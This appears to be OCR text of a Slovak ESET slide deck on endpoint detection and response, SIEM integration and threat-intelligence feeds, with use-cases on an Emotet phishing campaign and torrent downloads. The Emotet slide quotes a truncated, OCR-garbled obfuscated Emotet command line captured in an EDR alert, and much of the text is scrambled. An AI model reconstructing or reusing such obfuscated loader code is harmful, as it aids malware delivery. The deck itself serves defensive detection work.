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Agenda

(1) Pouzité technolégie
(2) Spdsob nasadenia
(3) Vizibilita a use-casy



Pouzité technologie

EndPoint Siet

* Windows Event Log  Sietovy FW

* ESET Endpoint Security:  * NG IPS
Antivirus * Flow collection
HIPS

* 10C generator
Personal FW

* ESET Enterprise Inspector:
EDR



ESET EDR — Enterprise Inspector (EEI)

Procesy:

Cesta k executable / hash / parent(s) /
reputacia / DLL

Cmd parametre = =
Zapisané subory - E e
URL / IP adresy



EndPoint Security vs. Enterprise Inspector

Endpoint Security (Antivirus) Enterprise Inspector (EDR)

B/W Detekcia malware* Pravidla na neStandardné stavy
Automatické blokovanie hrozieb Semiautomatické / Manudlne blokovanie (napr. hash)
Limitované informdacie o malware Podporné informacie o spravani procesu

Limitovana mozZnost ovplyvnit spravanie nad hrozbou  Editovanie pravidiel + vynimiek
Limitovana viditelnost do udalosti Efektivny drill-down

Nizka prevadzkova rézia Potreba analytika na vyhodnocovanie alertov +
nastavenie pravidiel



PUBLIC

Agenda

(1) Pouzité technolégie
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Sposob nasadenia

* Core systém == SIEM

* Ciele:

1. Detekcia / vizibilita na endpointoch a
sieti

2. Integracia toolov na zlepsenie #1

3. Automatizacia vyhodnotenia a response



Sposob nasadenia

ESET Threat Monitoring “
ESET Threat Hunting SECMON

— i)

Threat Intelligence data - hash, IP, URL
ESET Threat Intelligence, CIF, ...

E% £
?! L

OS logs, FW, IPS, flows, suricata, DNS logs

ESET Product

ESET Product

ESET Product



Integracia zdrojov

1. Nativne na urovni SIEM cez DSM
2. Vyuzitim STIX / TAXII konektora na * Threat Intelligence feed

Hunting nad datami I Aplikovand ochrana / Detekcia
Nova hrazba Detekcia Updatel/ Tl data
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Detekcia Update / Tl data :
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|

|

|

|

https://stixproject.github.io/ DeteKcia Update / ¥ data




Agenda

(1) Coje EDR
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Use-case: Emotet

* Phishing kampar 11/2018 — UK a DE
1. Detekcia:

FW log - connection
C2 IP —cez ETI
EEl — spravanie sa na endpointe

www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/



Use-case: Emotet

2. Response: Second stage
malware?

mem dump + scan, analyza
VS.

Analyza procesov v EEI

www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/

MS Office application has invoked script ...

MS Office application has invoked script

SOURCE interpreter [DOS07]

CATEGORY Office

OCCURED 4 months ago - 12. nov 2018 10:20:12
PRIORITY 1

/c CmD /c "sET vtb=Sv H14a ( " )"nlOj-'X"'+]3,1])
(gNIRTSot.EcneREFerpEsObREVS (.A|)93]rAhC[,'UOr'eCal
perC- 63]rAhC[,)86]rAhC[+45]rAhC[+58]rAhC[( eCalperC-
421]rAhC[,)811]rAhC[+211]rAhC[+701]rAhC[( eCalperC- )’
UOrXuor+]31['+'DiLleH'+'s'+'D6U+'+']1['+'d"+"iLLE'+'"HSD6 U’
+' (A&v'+'pk)(d'+'neOt'+'da'+'Er'+'.)'+')i'+'IC'+'SA::]'+'gNiDoc
NE.TXET.'+'MEtSYs'+'['+',)) '+'ss'+'Erpm'+'OCed:'+'":]e'+‘dom
No'+'IsseR'+'pmo'+'C.'+'nois'+'sErpmOC.0i.'+'M'+'etsYS[ ,) U
OrP4'+'+us'+'Vo'+'Z'+'JotY7'+'5N'+'U'+'YmueNC'+'DxK'+'nu‘+
'GdhwMFyM'+'j'+')Q'+'Ve7zgT1K'+'j'+'s)'+'8fU"+'pxr2bHKcO’
+'Ltjm'+'nL6nE'+'yQ+tZ3wk'+'A'+'w'+'Y'+'uHOeb'+'s/e'+ Ygk
w'+'WLdIU02'+'1impZs8g'+'D'+'G'+'qO'+'dz'+'n'+'2pYX'+Ig3.



Use-case2: neautorizovany autorsky obsah

* Viacero pripadov cez Torrent / uloz.to,...
1. Detekcia:

FW log — connection info

IPS — detekcia torrentu pri pripojeni na tracker —
hash

Suricata — URL 10C

EDR — spravanie na endpointe



Use-case2: neautorizovany autorsky obsah

2. Response: ¢o sa presne stiahlo?
* Pouzitd aplikacia = moznost

SHA-1 503
[ .
IIUIItIIIgU a blokovania cez EEl .«
SIGNER NAME “Rare
WHITELIST TYPE
FILE DESCRIPTION uTorrent Portable

COMPANY NAME

PRODUCT NAME

PRODUCT VERSION

AL NAME

ORIGINAL FILE NAME uTorrentPortable_3.4.5.41202_onlinepafexe



Use-case2: neautorizovany autorsky obsah

2. Response: €o sa presne stiahlo?

FILE MODIFICATIONS

e )
t I a I l u t I e 3APPDATAS\Delugehipcideluge-gtk
FAPPDA e\stat 3a510d49d9651abacfa3d1a4565706de.torren
ToAl
%A

== Write

VVYVVVVVYVYVYVYYYY

* Prehliadanie == cmd line argument:

COMMAMND LINE —-—started-from-file *"D:%Filmy N - -



Zhrnutie

* Vizibilita — korelacia / obohatenie udalosti
 Skratenie Casu IR + odburanie false-pos

* Adopcia TTP na urovni EEI

* Aktivny response
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®
@eT ENJOY SAFER TECHNOLOGY™

business.solutions@eset.sk



http://www.eset.sk/enterprise
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